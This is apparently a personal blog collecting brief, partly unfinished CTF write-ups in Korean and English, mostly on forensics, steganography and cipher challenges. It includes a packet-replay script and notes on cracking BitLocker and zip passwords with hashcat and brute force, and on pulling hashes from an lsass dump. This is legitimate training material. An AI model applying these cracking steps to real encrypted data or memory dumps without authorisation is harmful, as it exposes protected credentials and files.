반응형
반응형
반응형

Forensics

Peace

"the most popular social media" == twitter

holloway.nz/steg/

 

Twitter Secret Messages - Steganography

Hide secret messages in your tweets (or any text) with steg-of-the-dump.js. Tweet i had a great day at the beach! #sunshine Hidden Message kidnapped by pirates Tweet to post Warning: Not all of Hidden Message stored in tweet. Add more text (e.g. spaces) to

holloway.nz


Linux Help

given a png file.


Brutus Killer

caesar cipher


Suspicious Riddle

use volatility

Win7SP1x64

 

 

pid = 2816


Hash Riddle

dump it

 


extract s3cr3t.mp3 file

 

 

Tewm yzc bs, _n3q0rq_a4ok3w}

hmm what is it?


Source Riddle

iexplore.exe

 


Anarchy Riddle

procdump -p 2816 -D ./


Memory Detective

filescan | findstr "flag"

dumpfiles -Q 0x00000000???(i forgot) -D ./


pstree

procdump -p 2108 -D ./

 

hmm..

i couldn't find file which named volatilesecret.


Cryptography

valhalla

runes


Rick and morty on adventure

image search

 

I found this


Monk

dec to ascii


Hand-Work

mp3 file.

it says "dot" and "dash"

listen and write . and _

then decode it.

... .... ._ _.. ___ .__ _._. _.._. . ...._ ... _.__ _._. ._. _.__ .__. _ _____

 


What are Semaphores processes?

i found this.

 


Colored....P

www.boxentriq.com/code-breaking/hexahue

 

Hexahue Alphabet - decoder, translator | Boxentriq

Tool to decrypt Hexahue code. Hexahue, and variants of it, are used occasionally in geocaching mystery caches, CTFs and logic puzzles. Look specifically for the color combinations to recognize it.

www.boxentriq.com


DORAEMON

 


OSINT

Eased OSINT

wav file


Intel Expert

from north korea.

city : Pyongyang

 

 

반응형

'CTF Write Up' 카테고리의 다른 글

justCTF 2020 write up  (0) 2021.02.01
0x41414141 CTF Write up  (0) 2021.01.31
starCTF 2021 write-up  (0) 2021.01.18
The Cyber Grabs CTF 0x02 write up  (0) 2021.01.17
0xL4ugh CTF write up  (0) 2021.01.16
반응형

*CTF 2021 
Crypto

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
from random import randint
import os
 
flag = "flag"
N=64
key=randint(0,2**N)
print key
key=bin(key)[2:].rjust(N,'0')
count=0
while True:
    p=0
    q=0
    new_key=''
    zeros=[0]
    for j in range(len(key)):
        if key[j]=='0':
            zeros.append(j)
    p=zeros[randint(0,len(zeros))-1]
    q=zeros[randint(0,len(zeros))-1]
    try:
        mask=int(raw_input("mask:"))
    except:
        exit(0)
    mask=bin(mask)[2:]
    if p>q:
        tmp=q
        q=p
        p=tmp
    cnt=0
    for j in range(0,N):
        if j in range(p,q+1):
            new_key+=str(int(mask[cnt])^int(key[j]))
        else:
            new_key+=key[j]
        cnt+=1
        cnt%=len(mask)
    key=new_key
    try:
        guess=int(raw_input("guess:"))
    except:
        exit(0)
    if guess==int(key,2):
        count+=1
        print 'Nice.'
    else:
        count=0
        print 'Oops.'
    if count>2:
        print flag
 
cs

랜덤 key를 생성하고

generate random key

mask 값을 입력받아 여러번 xor을 해서

xor mask value and key

만들어진 key값을 3번 맞추면 되는데

need guessing key 3 times

 

mask에 0을 넣으면 xor을 몇 번을 하던지 그대로다.

however, when you put 0 in mask, xor calculation is useless.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
from random import randint
import os
from flag import flag
N=64
key=randint(0,2**N)
# print key
key=bin(key)[2:].rjust(N,'0')
count=0
while True:
    p=0
    q=0
    new_key=''
    zeros=[0]
    for j in range(len(key)):
        if key[j]=='0':
            zeros.append(j)
    p=zeros[randint(0,len(zeros))-1]
    q=zeros[randint(0,len(zeros))-1]
    try:
        mask=int(raw_input("mask:"))
    except:
        exit(0)
    mask=bin(mask)[2:]
    if p>q:
        tmp=q
        q=p
        p=tmp
    cnt=0
    for j in range(0,N):
        if j in range(p,q+1):
            new_key+=str(int(mask[cnt])^int(key[j]))
        else:
            new_key+=key[j]
        cnt+=1
        cnt%=len(mask)
    key=new_key
    try:
        guess=int(raw_input("guess:"))
    except:
        exit(0)
    if guess==int(key,2):
        count+=1
        print 'Nice.'
    else:
        count=0
        print 'Oops.'
    if count>2:
        print flag
cs

guesskey 문제 잘못냈나보다.

처음 print key가 주석처리되었다.

no print key :p

 

key를 2진법으로 나타냈을 때 0의 개수를 구해서

p와 q를 생성하고

p와 q번째 사이번째 비트는 mask와 xor을 하고

그 외 비트는 그대로 가져온다.

 

mask = 1 로 두고 계속 돌리면

하위 비트 쪽은 1로 되고

0의 개수가 작아지면서 p와 q도 작아지고

그럼 더더욱 하위 비트는 유지되고

 

just put 1 in mask.

뭐 이런 식으로 비트들이 1로 되어간다.

it's gonna be 1s

 

한 150~200번 돌리면

try 150-200 times

값은 두 개중 하나가 된다.

이제 mask = 0 으로 두고 두 개중 하나를 때려박으면 된다.

choice one between 92~ and 18~

 


Misc

\

vhdxfile

encrypted by BitLocker

 

 

bitlocker2john

 

hashcat

 

 

password 12345678

 

 

 

open with tool like ftk imager

extract two pdf files

 

pdfcandy.com/extract-images.html

extract images from pdf files

flag image. done.

반응형

'CTF Write Up' 카테고리의 다른 글

0x41414141 CTF Write up  (0) 2021.01.31
ShadowCTF write up  (0) 2021.01.27
The Cyber Grabs CTF 0x02 write up  (0) 2021.01.17
0xL4ugh CTF write up  (0) 2021.01.16
2020 Christmas CTF [show me the pcap] Write-up  (2) 2020.12.27
반응형

my write ups during the ctf & after the ctf

공부겸 오피셜 롸업 보고 풀어서 내용들을 추가했습니다.

 

Forensic

gchq.github.io/CyberChef/

 

CyberChef

 

gchq.github.io


 

SAM은 있는데 SYSTEM이 없네...;;

 다른 방법을 찾아야 한다.

 

이 내용이 힌트였다.

 

저 내용만 가지고 temp 에 있는 lsass.DMP를 찾아내야 했다..

 

crackstation.net/

 

CrackStation - Online Password Hash Cracking - MD5, SHA1, Linux, Rainbow Tables, etc.

Free Password Hash Cracker Enter up to 20 non-salted hashes, one per line: Supports: LM, NTLM, md2, md4, md5, md5(md5_hex), md5-half, sha1, sha224, sha256, sha384, sha512, ripeMD160, whirlpool, MySQL 4.1+ (sha1(sha1_bin)), QubesV3.1BackupDefaults How Crack

crackstation.net


 

아 왜 이거 아님

 

흠.......................

여기 있는 이 stargazer.jpg를 사용해야되는 문제였다.

 

 

여기서 이 문자열을 패스워드로 해서

steghide를 돌리면 플래그가 나오는 문제였다... 아니 이걸 어케 알지..


Crypto

CipherText : @$$@@@$$@$$$$@@$@$$@@@$@@$$@@$@$@$$$@@$@@$$@@$$$@$$$@@$@@$$@@@@$@$$@@@$@@$$$@@$$@$$$$@$$@$$$@@@$@$$$@$@$@$$@$@@$@$$$@$@@@@$$@@$$@$@$$$$$@$$@@$$$@@$$@@@@@@$$@@@@@$$@@$@@@$@$$$$$@$$$@$$$@@$$@$@@@$$$@@$@@$$@$$@$@$$$@$@$@$$$@@@@@$@$$$$$@$$@$@@$@$$$@@$$@$$@$$$@@@$@@$$$@$$$@$@@@$@$$$$$@$$@$@@$@$$$@$@@@$$$$$@$

 

@ -> 0

$ -> 1

bin to ascii

 


morsecode.world/international/decoder/audio-decoder-adaptive.html

 

Morse Code Adaptive Audio Decoder | Morse Code World

Notes The decoder will analyse sound coming from the microphone or from an audio file. The spectrogram of the sound is shown in the main graph along with a pink region showing the frequency being analysed. If the volume in the chosen frequency is louder th

morsecode.world


Misc

 

holloway.nz/steg/

 

Twitter Secret Messages - Steganography

Hide secret messages in your tweets (or any text) with steg-of-the-dump.js. Tweet i had a great day at the beach! #sunshine Hidden Message kidnapped by pirates Tweet to post Warning: Not all of Hidden Message stored in tweet. Add more text (e.g. spaces) to

holloway.nz

이런게 있넹


www.boxentriq.com/code-breaking/hexahue

 

Hexahue Alphabet - decoder, translator | Boxentriq

Tool to decrypt Hexahue code. Hexahue, and variants of it, are used occasionally in geocaching mystery caches, CTFs and logic puzzles. Look specifically for the color combinations to recognize it.

www.boxentriq.com

color code cryptography

이런게 있네

반응형

'CTF Write Up' 카테고리의 다른 글

ShadowCTF write up  (0) 2021.01.27
starCTF 2021 write-up  (0) 2021.01.18
0xL4ugh CTF write up  (0) 2021.01.16
2020 Christmas CTF [show me the pcap] Write-up  (2) 2020.12.27
CyberTalents Digital Forensics CTF write up  (0) 2020.11.29
반응형

Forenscis

 

3Cd7MMS7GmZMwxmRTfQwoXvxcDkGt8o4cFzwPUrg

then what?

 

 

 

아 base58이었넹

ah it was base58 encoded strings.


 

ascii 85 -> pastebin.pl/view

 

use "d02a7960"

 

pastebin.pl/view/d02a7960

 

morse code

 

S0METIM35SH4RK1SFR13ND1Y

 


png file.

4F -> 4E

43 -> 44

 

46 -> 4e

 

nothing here :(

 

 

move to 5527125

start and end...?

xor 6


Crypto

{ ^),!&),!!$,^$,!^%,!$&,!%),!&#,!!#,^#,!&!,!$@,^),!$!,!^@,!$$,!#&,^!,!^#,!#&,!!),^#,!!$,!@),!)^,!@%,^!,^!,!&% }

 

! -> 1

@ -> 2

# -> 3

...

60 170 114 64 165 147 150 173 113 63 171 142 60 141 162 144 137 61 163 137 110 63 114 120 106 125 61 61 175

hmm..

Isn't it this?

 

아 8진수였네

ah octal..


n = 5028492424316659784848610571868499830635784588253436599431884204425304126574506051458282629520844349077718907065343861952658055912723193332988900049704385076586516440137002407618568563003151764276775720948938528351773075093802636408325577864234115127871390168096496816499360494036227508350983216047669122408034583867561383118909895952974973292619495653073541886055538702432092425858482003930575665792421982301721054750712657799039327522613062264704797422340254020326514065801221180376851065029216809710795296030568379075073865984532498070572310229403940699763425130520414160563102491810814915288755251220179858773367510455580835421154668619370583787024315600566549750956030977653030065606416521363336014610142446739352985652335981500656145027999377047563266566792989553932335258615049158885853966867137798471757467768769820421797075336546511982769835420524203920252434351263053140580327108189404503020910499228438500946012560331269890809392427093030932508389051070445428793625564099729529982492671019322403728879286539821165627370580739998221464217677185178817064155665872550466352067822943073454133105879256544996546945106521271564937390984619840428052621074566596529317714264401833493628083147272364024196348602285804117877
e = 65537
c = 4690057718147075505522680135959473215321622692923721213835300886402444910436674094980456964526719786485709929645871497583481786451712108343985733309427211434750949557522557087475715799166136616546091244246093209194216096205011115055709130990240778725741521267153888212132276867942685123502211572949952162376597662509054070693025973089923370015547373862589488928782901235791144433788299046705518327561160954291094820233386528023713184029738780555483600166071578613803010858511582163397706626459433456365568227181855121476317779040965290548179086133039864725660837003894485377993939038122515590380127757353399577646033195886942935498851291625325622687406058565345707842924577200871090281931390828399034387159796711570518912284855782049322766568438776035673997640836043767460584670094065481165095303859142188605921710309909549354356478577687136627040919972987279885429990570784611705563443122226291405511409355924588407638851356402686178076614729462505897314633054448103933929160379080620408454649164684464952565103672481604538187885457480005006907884784443460386864548916037417492123123957243478299871616131317172973941585334012558762947082226744473068190488648000780008598569174088053018903156614111943478152720349210983651343

search n at www.factordb.com/

 

factordb.com

 

www.factordb.com

good.

 

 


braille

 

0xL4ugh{I_Th1nk_Br1ll3_W45_$m4rt}

 


Web

make money~

 

I found base32 strings in cookie.

 

 

 


 

 

Reverse Engineering

 

HxD


 

WA! Flag!


rand() % 4 값을 반복 생성하여 파일 크기와 동일한 크기의 배열에 저장한다.

파일의 j번째 바이트와 랜덤값이 들어간 배열의 j번째 바이트를 가져와서

mystery함수 호출

 

Repeat generation of values (rand() %4) and push them on an array of the same size as the file size.
Gets the jth byte of the file and the jth byte of the array containing random values.

call mystery function

 

랜덤값이 2또는 0인경우 파일의 값과 1을 xor연산하여 리턴.

 

If the random value is 2 or 0, xor computes the byte and 1 of the file and returns it.

 

 

 

main 함수에서 srand(0)을 사용했으므로 시드가 고정.

랜덤값을 구할 수 있음.

 

 

The seed is fixed because it used sand(0) in main func.
I can get random values.

 

 

 


 

Programming

 

 

 


Misc

Sonic Visualiser

spectrogram

FLAG : 0xL4ugh{SP3c7ro_1s_Gr347}

 

 


 

github.com/jzyra/DecodeAndroidGesture

 

jzyra/DecodeAndroidGesture

This tool decode Android's pattern lock screen with gesture.key file in Android device. - jzyra/DecodeAndroidGesture

github.com

 

 


 

github.com/ribt/dtmf-decoder

 

ribt/dtmf-decoder

Extract phone numbers from an audio recording of the dial tones. - ribt/dtmf-decoder

github.com

 

 

66#666#8#33#888#33#777#999#8#44#444#66#4#666#66#7777#2#6#33#9#2#999#

->
noteverythingonsameway

 

 

 

반응형

'CTF Write Up' 카테고리의 다른 글

starCTF 2021 write-up  (0) 2021.01.18
The Cyber Grabs CTF 0x02 write up  (0) 2021.01.17
2020 Christmas CTF [show me the pcap] Write-up  (2) 2020.12.27
CyberTalents Digital Forensics CTF write up  (0) 2020.11.29
제 2회 TeamH4C CTF 2020 Write-up  (0) 2020.10.13
반응형

show me the pcap

forensic

 

코로나사태로 인해 루돌프들 끼리 산타우체국에서 비밀리로 비대면 회의를 진행했다!
해당 회의 내용을 중간자 공격으로 PCAP형태로 가져왔으니 분석해보자!

 

 

pcap 파일 한 개가 주어진다.

 

Wireshark로 해당 파일을 열어보면 SSH, TLS 패킷들이 보이는데, 아래로 내려보면 756번부터 많은 RTP패킷들이 캡쳐된 것을 확인할 수 있다.

RTP는 실시간 전송 프로토콜로, 오디오와 비디오 정보의 실시간 전송을 하기위해 사용된다. 문제 지문에서 비대면 회의를 진행하였다고 했으므로, 해당 회의 내용이 RTP를 통해 진행된 것으로 볼 수 있다.

 

 

 

 

 

 

 

 

RTP 패킷의 담긴 내용을 확인해야 하는데, 해당 내용이 오디오형식이고 Wireshark에서 지원하는 코덱인 경우, Wireshark로 바로 확인할 수 있는 방법이 있다.

 

아무 RTP 패킷을 클릭하고 상단 메뉴에서 Telephony > RTP > Stream Analysis 를 클릭하고

Play Streams 버튼을 클릭하고 소스 선택 후 재생버튼을 누르면 된다.

 

그러나 여기에서는 비어있거나 지원하지 않는 코덱이라고 나온다.

 

따라서 해당 내용은 비디오인 것으로 추측해볼 수 있고, 다른 방법을 찾아보아야 했다.

 

 

 

 

 

 

 

 

 

여러가지를 검색하던 중에 블로그 글 하나를 찾을 수 있었다.

blog.itekako.com/technical/2017/03/07/rtp-stream-replay/

 

RTP stream replay

Company news, knowledge sharing, technology, best practices and more.

blog.itekako.com

캡쳐한 rtp 패킷을 목적지만 수정하여 다시 실시간으로 전송하여 내용을 확인하는 방식이다.

 

 

 

 

 

필요한 환경은 패킷을 보낼 리눅스 환경과 내용을 확인할 리눅스/윈도우 환경 2개이다.

 

 

먼저, 주어진 pcap파일에서 (이하 origin.pcap) rtp패킷만 추출한 pcap파일을 만들어야 한다.

1. Wireshark로 origin.pcap를 연다.

2. 상단 메뉴에서 Telephony > RTP > RTP Streams

3. 스트림 선택

4. Prepare Filter 클릭 후 창 닫기

5. 상단 메뉴에서 File > Export Specified Packets… > Export as > pcap

6. rtpstream.pcap로 저장

7. rtpstream.pcap를 패킷을 보낼 리눅스 환경으로 이동

 

 

 

 

 

rtpstream.pcap를 replay하기 위해서는 패킷의 목적지 ip와 mac 주소를 수정해 주어야 한다.

해당 과정은 아래 modify-pcap.sh로 수행한다.

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
#!/usr/bin/env bash
# http://blog.itekako.com/technical/2017/03/07/rtp-stream-replay/
set -o errexit
set -o nounset
set -o errtrace
set -o pipefail
 
REPLAY_DST_IP="${1}"
IN_PCAP_FILE="${2}"
OUT_PCAP_FILE="${3:-rtp-for-replay.pcap}"
OUT_SDP_FILE="${4:-sdp}"
 
REPLAY_SRC_IP=$(ip route get "${REPLAY_DST_IP}" | sed --"s/.* src (\S*).*/\1/p")
REPLAY_SRC_DEV=$(ip route get "${REPLAY_DST_IP}" | sed --"s/.* dev (\S*).*/\1/p")
REPLAY_SRC_MAC=$(ip link show "${REPLAY_SRC_DEV}" | sed --"s/.*\/ether (\S*).*/\1/p")
if [ -"${REPLAY_SRC_MAC}" ]
then
  echo "Error reading source MAC address. Make sure that the destination IP does not belong to this machine".
fi
ping --1 -- "${REPLAY_DST_IP}" > /dev/null
ARP_PATH=$(which arp)
 
if [ -"${ARP_PATH}" ]
then
  ARP_CMD="${ARP_PATH}"
else
  ARP_CMD="sudo ${ARP_PATH}"
fi
REPLAY_DST_MAC=$(${ARP_CMD} -an -- "${REPLAY_DST_IP}" | sed --"s/.* at (\S*).*/\1/p")
 
read ORIG_SRC_IP ORIG_SRC_MAC ORIG_DST_IP ORIG_DST_MAC RTP_DST_PORT <<<$(\
    tshark -T fields -e ip.src -e eth.src -e ip.dst -e eth.dst -e udp.dstport -1 -"${IN_PCAP_FILE}")
 
tcprewrite \
    --fixcsum \
    --srcipmap=${ORIG_SRC_IP}/32:${REPLAY_SRC_IP}/32 \
    --enet-smac=${REPLAY_SRC_MAC} \
    --dstipmap=${ORIG_DST_IP}/32:${REPLAY_DST_IP}/32 \
    --enet-dmac=${REPLAY_DST_MAC} \
    --infile="${IN_PCAP_FILE}" \
    --outfile="${OUT_PCAP_FILE}"
 
echo "c=IN IP4 ${REPLAY_SRC_IP}
m=video ${RTP_DST_PORT} RTP/AVP 96
a=rtpmap:96 H264/90000" > "${OUT_SDP_FILE}"
 
echo "Copy file \"$(readlink -e ${OUT_SDP_FILE})\" to player machine, open it in player, then execute:"
echo "  sudo tcpreplay --intf1=${REPLAY_SRC_DEV} '${OUT_PCAP_FILE}'"
cs

 

위 스크립트 실행에 필요한 패키지를 설치해야 한다.

$ sudo apt-get install tcpreplay tshark net-tools

 

그리고 스크립트를 실행해 준다.

$ bash modify-pcap.sh <player machine ip> <input pcap file> [<output pcap file>] [<output sdp file>]
$ bash modify-pcap.sh 192.168.0.2 rtpstream.pcap

 

 

그러면 패킷을 받기 위한 정보가 담긴 sdp파일이 생성되고, 패킷을 replay하기 위한 명령어가 출력된다.

 

sdp파일은 패킷을 받을 환경으로 이동한다.

 

 

 

 

 

 

 

 

패킷을 받아 영상으로 보기 위해서는 아래 명령어를 사용하면 된다.

$ ffplay sdp

나는 윈도우 환경에서 진행하였기 때문에 ffplay.exe를 사용하였다. ffplay.exe는 ffmpeg.org/download.html에서 다운받을 수 있다.

 

ffplay sdp로 대기 중인 상태에서, 리눅스 환경에서

 

sudo tcpreplay --intf1=enp0s3 'rtp-for-replay.pcap'

(modify-pcap.sh을 실행하고 출력된 명령어)을 실행하면, 패킷이 전송되어 받을 수 있다.

 

 

 

 

 

 

 

 

 

ffplay.exe sdp를 실행하였을 때 나는 

 

 

이러한 오류가 발생하였다. 해당 오류는 -protocol_whitelist file,udp,rtp,crypto,data 옵션을 추가해주어 해결할 수 있었다.

 

 

 

 

 

 

첫 번째 시도에서 오류가 발생하였다.

blog.itekako.com/technical/2017/03/07/rtp-stream-replay/에서는 문제가 있을 때, sdp 파일에 추가적인 정보를 추가해주라고 되어 있다. 

 

 

 

sdp-fmtp-data.sh

1
2
3
4
5
6
set -o errexit
set -o nounset
IN_FILE="${1}"
echo "a=fmtp:96 $(tshark -E aggregator=';' -Y sdp.fmtp.parameter -T fields -e sdp.fmtp.parameter -r "${IN_FILE}")"
cs
$ bash sdp-fmtp-data.sh origin.pcap

 

 

출력 결과

a=fmtp:96 profile-level-id=1;config=000001B001000001B58913000001000000012000C48D8DC43D3C04871443000001B24C61766335372E3130372E313030

 

해당 내용을 sdp 다음 행에 추가해주었다.

 

그러나 여전히 오류가 발생하였다.

 

sdp

c=IN IP4 10.0.2.15
m=video 58898 RTP/AVP 96
a=rtpmap:96 H264/90000
a=fmtp:96 profile-level-id=1;config=000001B001000001B58913000001000000012000C48D8DC43D3C04871443000001B24C61766335372E3130372E313030

 

sdp에 내용이 부족하거나 잘 못 설정된 것 같아, origin.pcap 파일을 다시 살펴보았다.

 

rtp 패킷들이 전송되기 전 부분인 749번 패킷에서 메타데이터를 확인할 수 있었다.

해당 내용에 따라 코덱 정보를 H264에서 MP4V-ES로 수정하고 시도하였더니 플래그를 얻을 수 있었다.

 

 

반응형

'CTF Write Up' 카테고리의 다른 글

The Cyber Grabs CTF 0x02 write up  (0) 2021.01.17
0xL4ugh CTF write up  (0) 2021.01.16
CyberTalents Digital Forensics CTF write up  (0) 2020.11.29
제 2회 TeamH4C CTF 2020 Write-up  (0) 2020.10.13
CCE2020 Quals Write-up  (0) 2020.09.26
반응형

 

Toolkit basic 25 General Information

Is a computer forensics distribution that installs all necessary tools on Ubuntu to perform a detailed digital forensic and incident response examination.

 

 

google search.

 

 

Little Story Boy basic 25 Digital Forensics

stylesuxx.github.io/steganography/

extract LSB data

 

you can use zsteg.

 

 

Light easy 50 Digital Forensics

Just get the flag

file : light

 

tool name : HxD

This file has png header signature. Therefore It is PNG file, and it has also png footer signature.

 

 

tool name : HxD

After PNG footer signature, there are some binary strings.

I could guess that binary is ascii code, because it starts 01~~.

 

https://www.branah.com/ascii-converter

easy.

 

 

 

Meta Header easy 50 Digital Forensics

Can You help us to extract the metal from Exchangeable header

 

file : metal.jpg

 

image description is strange.

 

hmm

 

next!

 

 

 

volatility easy 50 Digital Forensics

welcome to volatility 101, you have to know when you start analyzing a memory dump you have to look to processes and files on desktop.

profile = WinXPSP2x86

 

 

 

프로세스 특이사항은 이정도.

 

 

/Desktop/flag/

 

 

나오는게 없다. R-studio로 분석해봐야 할 거 같다.

 

 

another memdumpfile in Desktop dir.

 

There are 3 files which has 0 byte size in flag dir.

The file name seems like 'key'.

 

compare with look_to_clipboard.txt and filename.

k.08462 -> 20

e.22743 -> 8

y.08981 -> 40

 

 

이 다음은 mem을 추출해봐야 할거 같다.

filescan
dumpfiles

 

?

아 easy 맞냐고

 

Dega hard 200 Digital Forensics

Dega Company has been attacked and some data have been exfiltrated, Help them to know what exactly has been leaked.

 

pcap

base64로 인코딩된 문자열이 많던데

 

last human hard 200 Digital Forensics

This Stream is so weird, looking something hidden here!!

 

sonic visualizer - failed

audio lsb - failed

 

-롸업-

0xmohammed.github.io/2020/11/29/Last-Human-Writeup.html

 

'Last human' writeup CyberTalents DF CTF - 0xMohammed

Description This Stream is so weird, looking something hidden here!! Diffculity: Hard Walkthrough Challange is a wave file with high pitched noise, After examining file with usual tools (binwalk, exiftool, strings,..etc) we found nothing so we should dig d

0xmohammed.github.io

 

 

Xmen medium 100 Digital Forensics

cyber Criminal is hiding information in the below file .can you capture the flag ?. Note: Flag format flag{XXXXXXX}

 

더보기

00000000: 504b 0304 0a00 0900 0000 e52b 944d d66f PK.........+.M.o

00000010: ef86 2300 0000 1700 0000 0a00 1c00 7365 ..#...........se

00000020: 6372 6574 2e74 7874 5554 0900 036d 6f1b cret.txtUT...mo.

00000030: 5c6d 6f1b 5c75 780b 0001 0400 0000 0004 \mo.\ux.........

00000040: 0000 0000 89ed 4cbb 8ba3 91b4 8e10 d9e5 ......L.........

00000050: ab2e 196e 20f4 37df fbe5 096c ed4e 8d0a ...n .7....l.N..

00000060: e056 e98c 26b1 a450 4b07 08d6 6fef 8623 .V..&..PK...o..#

00000070: 0000 0017 0000 0050 4b01 021e 030a 0009 .......PK.......

00000080: 0000 00e5 2b94 4dd6 6fef 8623 0000 0017 ....+.M.o..#....

00000090: 0000 000a 0018 0000 0000 0001 0000 00a4 ................

000000a0: 8100 0000 0073 6563 7265 742e 7478 7455 .....secret.txtU

000000b0: 5405 0003 6d6f 1b5c 7578 0b00 0104 0000 T...mo.\ux......

000000c0: 0000 0400 0000 0050 4b05 0600 0000 0001 .......PK.......

000000d0: 0001 0050 0000 0077 0000 0000 00 ...P...w.....

xxd -r garbage garbage.zip

 

password brute-force 1to5 char - failed

lock bit change - failed

 

 

----풀이보고 내용추가----

dictionary attack으로 패스워드는 hacker_crackdown가 됨.;;

 

Habibamod  medium 100 Digital Forensics

Habibamod is sending a secret signal, tune your receiver.

 

wireshark

It's simple.

 

data

Value of encoder is encoded in base64.

 

0 to . , 1 to !

To decode it: . to 0, ! to 1.

 

Bin to ascii

 

 

good.

Location medium 100 Digital Forensics

vcan0  06C   [8]  88 E6 0A 3D EC DC 50 2A

 

Bomp medium 100 Digital Forensics

Why dosen't my BOMP Explode!!
Format: Flag{}

 

b0mp 파일이 주어진다.

 

first 2 bytes are empty, but next 4 bytes seems like file size.

0xcdbe = 52670 =

so this is bmp file. b0mp에서 0을 빼면 bmp이기도 하다.

 

put 0x42 0x4D (bmp magic number) into first 2 bytes.

 

hmm

another bits are also empty.

 

ㅎㅎ 모르겠다.

 

 

----풀이보고 내용추가----

b0mp의 파일명을 b0mp.data로 바꾸고 GIMP에 불러온 뒤에, 오프셋, 너비, 높이를 아래와 같이 조절하면 플래그를 확인할 수 있다.

 

P@dly medium 100 Digital Forensics

Someone outside the department has downloaded some files from our server but fortunately we encrypt all the files. Can you get this files?

note.epd and readme.txt were transferred.

pub is directory.

 

readme.txt

note.epd is encrypted file.

 

How to decrypt note.epd.

 

xor 0~0xff - failed

반응형

'CTF Write Up' 카테고리의 다른 글

0xL4ugh CTF write up  (0) 2021.01.16
2020 Christmas CTF [show me the pcap] Write-up  (2) 2020.12.27
제 2회 TeamH4C CTF 2020 Write-up  (0) 2020.10.13
CCE2020 Quals Write-up  (0) 2020.09.26
FIESTA 2020 Write up  (2) 2020.09.07
반응형

Find the flag

 

주어진 파일 뒷 부분에 PK 시그니쳐가 붙어있다.

When you open a given png file with HxD, you can see PK signature at the end.

 

zip으로 만들어서 열면 플래그가 나온다.

Rename the file .png to .zip. Then, you can get a flag!

 

 

 

simple_forensic

 

암호가 걸린 zip 파일이 주어진다.

Given zip file has locked.

 

 

브포 돌려서 비번을 찾을 수 있다.

You need to brute-force attack to find password to unlock zip.

The password is 1337.

 

그러면 압축파일(file.zip) 하나랑 txt파일을 하나 열 수 있다.

Then, you can get a file.zip and a txt file.

뭔가 했는데, 모스부호 였다.

In txt file, you can see only K and H. I guessed this is morse code.

 

H -> - , K -> . 으로 하고 돌리면 되는데,

 

페이크 플래그가 나온다. ㅋㅋ;;

However, it was fake flag. :p

 

 

버리고 file.zip을 보자. 암호가 걸려있는 것 처럼 보이지만, 사실은 안 걸려있다.

Send txt file to TRASH CAN. And look at the file.zip

It seems like locked file, but it isn't. You don't need to find a password.

 

비트 조작해주면 된다.

Just change some bits of zip file.

mandu-mandu.tistory.com/143 참고하자

 

SuNiNaTaS [FORENSIC 28번] 풀이

SuNiNaTaS의 28번문제 풀이입니다. [FORENSIC] 암호가 걸린 압축파일이 있다. 근데 문제내용을 보았을 때 "brute force가 필요없다","암호가 있기나 한건가!"를 보면 암호는 없는 것 같다. 근데 비밀번호를

mandu-mandu.tistory.com

 

(처음에 브포를 돌렸기 때문에 이런 풀이가 나올 것 같았음.)

 

 

hxd로 까보면,

이렇게 나오는데, zero-width space steganography가 적용된 것이다.

e2808b, e2808c, e2808d, e2808f

 

zero-width space steganography

 

 

github.com/offdev/zwsp-steg-js

 

offdev/zwsp-steg-js

Zero-Width Space Steganography, encodes/decodes hidden messages as non printable/readable characters. - offdev/zwsp-steg-js

github.com

를 이용하여 플래그를 구할 수 있었다.

I can get a flag using zwsp-steg-js.

 

 

 

 

 

 

 

 

Find Hangul

 

아무런 설명 없이 VM.E01을 던져준다.

No description for this task.... :(

 

you can open the VM.E01 using FTK Imager.

 

유저폴더 살펴보고 휴지통을 살펴보았다.

I looked at the user folder and the Recycle.Bin.

 

뭔가 많다.
페이크파일들로 가득하다;;

 

 

많고많은 폴더와 파일 중에서 훈민정음.docx파일을 찾을 수 있다.

You can find Hunminjeongeum.docx file in many fake files.

 

추출해서 열어보자.

Export and open it.

 

 

하얀글씨로 안 보이도록 하거나, 스크롤을 많이 내리도록 되어 있어서, 색상 맞춰주고 정렬해주면 한 번에 내용을 볼 수 있다.

근데 저기있는 플래그도 페이크플래그다. ㅎㅎ;

But there's no flag. h4c(hangul_choigo) is not a flag. 

 

docx 파일을 zip으로 만들고 열어보면 flag.png를 찾을 수 있다.

Rename .docx to .zip and then open it, you can find flag.png

 

청크 이름의 대소문자를 바꿔놓았다. 다 수정해주면 정상적으로 이미지를 확인할 수 있다.

Recover chunk names.

png -> PNG

Srgb -> sRGB 등.. ect...

 

GNP

 

 

ff d9 jpg 푸터 시그니쳐 뒤에 png 파일이 뒤집어 있다.

It's reversed!!

 

잘라내서 뒤집고

< flag.png xxd -p -c1 | tac | xxd -p -r > file.png

 

stegsolve.jar로 보면 문자열이 나온다.

 

 

Affine Cipher 돌리면 플래그가 나온다. (GUESSING!!!!)

 

www.dcode.fr/affine-cipher (AUTOMATIC BRUTE FORCE DECRYPTION)

 

 

 

 

Dark light (not full wirte-up)

 

 

파일 여러개가 붙어있다.

foremost를 사용해서 분리해주었다.

 

 

 

 

qr code 9개가 나오는데 값을 보면,

 

sorry_this_is_not_a_flag

do_you_want_a_flag?

do_you_know_Korean_proverb?

어둡다.

h4c(f4c3_f_a_k_e)

 

뭘까?

hmm hmmmmmmmmmmmmmmm

 

 

 

 

 

 

message from space (not full wirte-up)

 

wav가 주어지는데, sstv 문제다.

 

github.com/MossFrog/SSTV-Decoder/blob/master/SSTV-Complete.py

 

MossFrog/SSTV-Decoder

An SSTV decoder created using python. The input files consists of 8 second frequency modulated transmissions. - MossFrog/SSTV-Decoder

github.com

 

 

디코딩 해주면 이런 이미지가 나온다.

Password : HangulDay

 

어디다 써먹는 걸까

Where can i use it... :(

 

 

14461009

 

한글 단순 치환 암호이다.

Hangul simple substitution cipher.

 

1446년 10월 09일, 'ㆍ','ㅛ','ㅕ' 이 부분을 보면 한글 창제와 관련이 있는 내용으로 보인다.

 

치환 코드는 이 것을 이용했다.

j0n9hyun.xyz/writeups/crypto/Korean-substituation-cipher/

 

한글 단일 치환 암호

